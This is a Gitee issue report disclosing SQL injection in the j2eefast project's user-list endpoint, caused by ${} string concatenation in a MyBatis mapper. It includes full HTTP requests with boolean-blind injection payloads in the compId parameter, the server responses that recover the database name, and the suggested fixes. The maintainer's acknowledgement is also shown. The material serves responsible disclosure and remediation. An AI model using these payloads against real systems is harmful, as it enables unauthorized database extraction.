CLA

Gitee Pages
JavaDoc
Quality Analysis
Jenkins for Gitee
Baidu Efficiency Cloud
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Don't show this again

Issues / 详情

sql injection security problems(sql 注入)

Done #I3BOFQ hipain Opened this issue 2021-03

Hello, I hava found that there two sql injetions in your pro ... urity of program

first place: http://demo.j2eefast.com/fast/sys/role/list and
second place http://demo.j2eefast.com/fast/sys/role/auth

1.how I found this vulnerability?

in the mapper file: src/main/resources/mapper/sys/SysUserMapper.xml you use ${} join the sql statements.

```
</if>
<if t
    AND u.status = #{status}
</if>
<if test="compId != null and compId !=''">
    <if test="_databaseId == 'mysql'">AND (FIND_IN_SET(#{compId},d.parent_ids)</if>
    <if test="_databaseId == 'postgresql'">AND ('${compId}' = ANY(STRING_TO_ARRAY(d.parent_ids, ',')))
    <if test="_databaseId == 'oracle'">AND (INSTR(','||d.parent_ids||',',${compId},') > 0</if>
    <if test="_databaseId == 'sqlserver'">AND (CHARINDEX(','+'${compId}'+',', ','+d.parent_ids+',') >
    OR (u.dept_id = '${compId}' AND u.del_flag = '0'))
</if>
<if test="deptId != null and deptId != ''">
    <choose>
        <when test="_databaseId == 'postgresql'">AND u.dept_id  = '${deptId}'</when>
        <otherwise>AND u.dept_id  = #{deptId}</otherwise>
```

No data sources are configured to run this SQL and provide advanced code assistance. Disable this inspection via problem menu (Alt+Enter).
Configure data source Alt+Shift+Enter More actions... Alt+Enter

'${compId}' is may be vulnerable to sql injection. And then I look into the file src/main/java/com/j2eefast/framework/sys/service/SysUserService.java and found that you use String to make it a string type. this leads to the sql injection.

```
*/
@DataFilter(compAlias="c",deptAlias = "d",userAlias = "u")
public PageUtil findPage(Map<String, Object> params) {
    String username = (String) params.get("username");
    String name = (String) params.get("name");
    String status = (String) params.get("status");
    String mobile = (String) params.get("mobile");
    String email = (String) params.get("email");
    String compId = (String) params.get("compId");
    String deptId = (String) params.get("deptId");
    Page<SysUserEntity> page = sysUserMapper.findPage(  new Query<SysUserEntity>(params).ge
                                                        StrUtil.nullToDefault(username, defa
                                                        StrUtil.nullToDefault(status, default
```

2.how to reproduce?

1. login with username 00008 and request people management function the request and response is:

```
POST /fast/sys/user/list HTTP/1.1
Host: demo.j2eefast.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token:
ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzM4MDY3ZDdkNDAwOWESNWQ5MTdlYjM3MzFjMmE=
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://demo.j2eefast.com
Connection: close
Referer: http://demo.j2eefast.com/fast/sys/user
Cookie: fast.session.id=c8dc58067d7d4009a95d917eb3731c2a; _secretKey=
547fd2b4c7cc4a5f803b7baf2fccba5e;
Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768

__limit=12&__page=1&__sidx=createTime&__order=asc&username=&email=&
mobile=&compId=&status=
```

```
1 HTTP/1.1 200
2 Server: nginx
3 Date: Tue, 16 Mar 2021 12:29:56 GMT
4 Content-Type: application/json
5 Connection: close
6 vary: accept-encoding
7 Content-Length: 475
8
9 {
    "msg":"SUCCESS",
    "code":"00000",
    "data":{
      "currPage":1,
      "totalPage":1,
      "pageSize":12,
      "totalCount":1,
      "list":[
        {
          "deptName":"人事部",
          "pwdSecurityLevel":null,
          "mobile":"199****8978",
          "deptId":"1271250799447552002",
          "avatar":null,
          "compName":"天津子公司",
          "createTime":"2020-06-23 14:46:29",
          "compId":"1271250518156554241",
          "postName":null,
          "name":"赵云",
          "roleName":"普通员工",
          "postCode":null,
          "id":"1275319295974322177",
          "email":"1****38QQ.com",
          "username":"00008",
          "status":"0"
        }
      ]
    }
}
```

the parameter compId is vulnerable to sql injection. use these sql statements I can get the databse info, when the case is true, the server will response the info while the false case will be null.

Status
Done

Assignees
Not set

Labels
BUG

Milestones
No related milestones

Pull Requests
修复 issues #I3BOFQ sql注入问题
:bookmark: :bookmark: :bookmark: Releasing / Version tags. 2.5.0
Successfully merging a pull request will close this issue.

Branches
No related branch

Planed to start - Planed to end
Unscheduled - Unscheduled

Top level
Not Top

Priority
Not specified

参与者 (2)

Explore Enterprise Education Gitee Premium Blog Go Search Sign in Sign up

1'+or+length(database())=6+and+'1'='1

CLA
Gitee 已支持 CLA 协议签署
✍第一方功能集成，签署流程更高效
📋内置可自定义的协议模板
⚖让开源贡献也能有据可依
View Details

Request

```
POST /fast/sys/user/list HTTP/1.1
Host: demo.j2eefast.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token:
ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzM4MDY3ZDdkNDAwOWE5NWQ5MTdlYjM3MzFjMmE=
X-Requested-With: XMLHttpRequest
Content-Length: 127
Origin: http://demo.j2eefast.com
Connection: close
Referer: http://demo.j2eefast.com/fast/sys/user
Cookie: fast.session.id=c8dc38067d7d4009a95d917eb3731c2a; _secretKey=
547fd2b4c7cc4a5f803b7baf2fccba5e;
Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768

__limit=12&__page=1&__sidx=createTime&__order=asc&username=&email=&
mobile=&compId=1'+or+length(database())=6+and+'1'='1&status=
```

```
"pwdSecurityLevel":null,
"mobile":"199****8978",
"deptId":"1271250799447552002",
"avatar":null,
"compName":"天津子公司",
"createTime":"2020-06-23 14:46:29",
"compId":"1271250518156554241",
"postName":null,
"name":"赵云",
"roleName":"普通员工",
"postCode":null,
"id":"1275319295974322177",
"email":"1****3@QQ.com",
"username":"00008",
"status":"0"
}
```

2. the first letter of database name is f

```
POST /fast/sys/user/list HTTP/1.1
Host: demo.j2eefast.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token:
ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzM4MDY3ZDdkNDAwOWE5NWQ5MTdlYjM3MzFjMmE=
X-Requested-With: XMLHttpRequest
Content-Length: 133
Origin: http://demo.j2eefast.com
Connection: close
Referer: http://demo.j2eefast.com/fast/sys/user
Cookie: fast.session.id=c8dc38067d7d4009a95d917eb3731c2a; _secretKey=
547fd2b4c7cc4a5f803b7baf2fccba5e;
Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768

__limit=12&__page=1&__sidx=createTime&__order=asc&username=&email=&
mobile=&compId=1'+or+substr(database(),1,1)='f'+and+'1'='1&status=
```

```
HTTP/1.1 200
Server: nginx
Date: Tue, 16 Mar 2021 12:39:48 GMT
Content-Type: application/json
Connection: close
vary: accept-encoding
Content-Length: 475

{
  "msg":"SUCCESS",
  "code":"00000",
  "data":{
    "currPage":1,
    "totalPage":1,
    "pageSize":12,
    "totalCount":1,
    "list":[
      {
        "deptName":"人事部",
        "pwdSecurityLevel":null,
        "mobile":"199****8978",
        "deptId":"1271250799447552002",
        "avatar":null,
        "compName":"天津子公司",
        "createTime":"2020-06-23 14:46:29",
        "compId":"1271250518156554241",
        "postName":null,
        "name":"赵云",
        "roleName":"普通员工",
        "postCode":null,
        "id":"1275319295974322177",
        "email":"1****3@QQ.com",
        "username":"00008",
        "status":"0"
      }
    ]
  }
}
```

3. when the case is false, the info will be null.

```
POST /fast/sys/user/list HTTP/1.1
Host: demo.j2eefast.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-CSRF-Token:
ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzM4MDY3ZDdkNDAwOWE5NWQ5MTdlYjM3MzFjMmE=
X-Requested-With: XMLHttpRequest
Content-Length: 133
Origin: http://demo.j2eefast.com
Connection: close
Referer: http://demo.j2eefast.com/fast/sys/user
Cookie: fast.session.id=c8dc38067d7d4009a95d917eb3731c2a; _secretKey=
547fd2b4c7cc4a5f803b7baf2fccba5e;
Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768

__limit=12&__page=1&__sidx=createTime&__order=asc&username=&email=&
mobile=&compId=1'+or+substr(database(),1,1)='x'+and+'1'='1&status=
```

```
HTTP/1.1 200
Server: nginx
Date: Tue, 16 Mar 2021 12:41:11 GMT
Content-Type: application/json
Connection: close
vary: accept-encoding
Content-Length: 115

{
  "msg":"SUCCESS",
  "code":"00000",
  "data":{
    "totalCount":"0",
    "pageSize":"12",
    "totalPage":"0",
    "currPage":"1",
    "list":[
    ]
  }
}
```

4. finally I found that the database name is fastdb.

3.how to repair?

1. use #{} but ${}
2. use type cast make compId a int type.

4.error info

Send Cancel

Request

```
POST /fast/sys/user/list HTTP/1.1
Host: demo.j2eefast.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
```

Response

```
HTTP/1.1 500
Server: nginx
Date: Tue, 16 Mar 2021 12:45:39 GMT
Content-Type: application/json
Connection: close
```

```
X-CSRF-Token:
ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzM4MDY3ZDdkNDAwOME5NMQ5MTdlYjM3MzFjMmE=
X-Requested-With: XMLHttpRequest
Content-Length: 92
Origin: http://demo.j2eefast.com
Connection: close
Referer: http://demo.j2eefast.com/fast/sys/user
Cookie: fast.session.id=c8dc38067d7d4003[illegible]d917eb3731c2a; _secretKey=
547fd2b4c7cc4a5f803b7baf2fccba5e;
Hm_lvt_d7168b0cef9904be9b675a[illegible]8c5721=1615882420;
Hm_lpvt_d7168b0cef9904b[illegible]0022e48c5721=1615897768

__limit=12&__page=1&__sidx=createTime&__order=asc&username=&email=&
mobile=&compId=1'&status=
```

```
"msg
"code
}
```

CLA

Gitee 已支持 CLA 协议签署

✍️第一方功能集成，签署流程更高效
📋内置可自定义的协议模板
⚖️让开源贡献也能有据可依

View Details

hipain created **任务** 2 years ago

operation logs

周周 owner 2 years ago

感谢提交，下个版本会修复 或者参考8150006 进行修复

周周 changed **issue state** from 待办的 to **已完成** 2 years ago

Sign in to comment

©OSCHINA. All rights reserved